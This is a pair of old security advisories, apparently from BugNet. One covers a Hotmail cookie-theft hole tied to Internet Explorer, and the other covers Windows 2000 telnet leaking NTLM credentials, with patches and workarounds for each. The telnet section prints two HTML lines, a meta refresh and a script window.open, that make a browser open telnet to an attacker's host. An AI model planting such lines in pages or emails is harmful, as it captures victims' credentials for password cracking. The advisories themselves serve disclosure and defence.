For many people, the axiom, “If it ain’t broke, don’t fix it”, is their modus operandi. With so many other things to worry about, updating a browser that seems to be working fine just isn’t a high priority. However, a recently discovered security bug in Hotmail may serve as a wakeup call to all Internet Explorer 4.x and 5.0 users. BugNet has verified a security vulnerability that would allow a malicious user to usurp control of someone else’s Hotmail account, allowing the hacker to read and to send e-mail from that account. Because this security hole can be thwarted by upgrading IE, we recommend that all Hotmail users verify that they are running the most current version of the Microsoft browser.?

With testing provided by KeyLabs, BugNet was able to verify this Hotmail vulnerability reported by an Internet developer in Denizli, Turkey. Alp Sinan, an e-commerce and security consultant, supplied demonstration code that allowed us to gain access to test e-mail accounts on the Hotmail server. The exploit involves using a previously reported security hole in IE (”Unauthorized Cookie Access”) to steal an unsuspecting user’s Hotmail cookie. That cookie is then used to authenticate the malicious user to the victim’s Hotmail account.

While newer versions of IE prevent a hacker from stealing cookies, there are still a lot of Internet users that use the default browser that came with the Windows 95 and Windows 98. For many, the size of the download has prevented them from upgrading over a dialup connection.

Since Microsoft has issued Service Packs and Upgrades for the “Unauthorized Cookie Access” bug, this leaves the rest of the blame with Hotmail for their lax security and authentication procedures. Hotmail’s authentication is built on session cookies. When a user logs in, Hotmail sends the user an encoded cookie that the browser uses to authenticate with the Hotmail server throughout the life of the Hotmail session. If the user can be tricked into sending this session cookie to a hacker, then the hacker could also gain access to the victim’s account. The hacker might do this by enticing the user to click on a carefully constructed Internet link within an e-mail or on a web page.

BugNet informed Hotmail of the vulnerability and included sample code. To date we have not received any feedback. Until Hotmail changes it’s security mechanism, the only fix is to update IE to versions 5.1 with Service Pack 1, or to upgrade IE to version 5.5. Both of these are freely downloadable from Microsoft’s site. Stay tuned for more information as it becomes available.

With the help of KeyLabs, BugNet was able to reproduce this bug that affects all Windows 2000 users. The vulnerability occurs because of a new authentication feature added to Windows 2000’s telnet.exe. The feature lets telnet automatically authenticate with NTLM-enabled telnet servers (i.e. Windows 2000 Telnet Servers). NTLM is the standard authentication used by Windows products. It uses a challenge/response mechanism to confirm a user’s identity without sending the password across the wire.

Telnet or not to telnet?

The problem is that NTLM authentication happens automatically and by default whenever telnet is launched. So if a malicious user could entice a victim into initiating a telnet session with a tricked server, then the malicious user could capture the victim’s authentication credentials. Capturing the credentials by itself does not put the victim’s computer at risk, nor does it allow the hacker to gain access to the victim’s computer. It does, however, give the hacker enough information to launch an off-line brute force attack aimed at ascertaining the plain-text password. Because this attack is handled off-line, the user and the system administrator are none the wiser, and the malicious user could take as much time as needed to get the password.

This begs the question, how might a malicious user entice a victim into establishing a remote telnet session? The answer is quite simple. Because pretty much all versions of Internet Explorer and Outlook will launch telnet when they encounter “telnet://hostname” in a carefully constructed HTML reference, the malicious user would only have to create a reference on a web page or in an e-mail message. The referenced command could be as simple as:

<meta http-equiv=”refresh” content=”0;URL=telnet://hostname”>

Or, if you prefer JavaScript:

<script>window.open(”telnet://target”)</script>

Despite the insidiousness of this vulnerability, there are some simple solutions. First, you can install the Microsoft patch. The fix is small and makes for a quick download. Install the patch by running the downloaded executable. No other user intervention is required, except for the mandatory system restart. So when installing the patch on a server, wait until restarting the server will have the least impact on the users.

Unlike Windows 9x and Windows NT, Windows 2000 is the only version that has this problem. Once installed, the patch will warn the user whenever telnet tries to authenticate outside the “Trusted sites” or the “Local Intranet” zones. The warning reads like this: “You are about send your password information to a remote computer in the Internet zone. This might be unsafe. Do you want to send anyway(y/n):”

The second method for protecting a Windows 2000 system running telnet.exe involves disabling NTLM authentication on the telnet client. A Microsoft security bulletin on this vulnerability explains how to disable all NTLM telnet authentications. Issuing the command “unset ntlm” from the telnet command line will prevent telnet from automatically authenticating via NTLM. To check the status of telnet authentication, enter the command “display” from the telnet command prompt. If the “Not Auth (NTLM)” is displayed, then Microsoft’s challenge/response is turned off.

Telnet has been around for a while. With some companies, telnet is the primary tool for managing network devices like servers and routers. Based on our test, BugNet recommends that all Windows 2000 users consider installing this patch.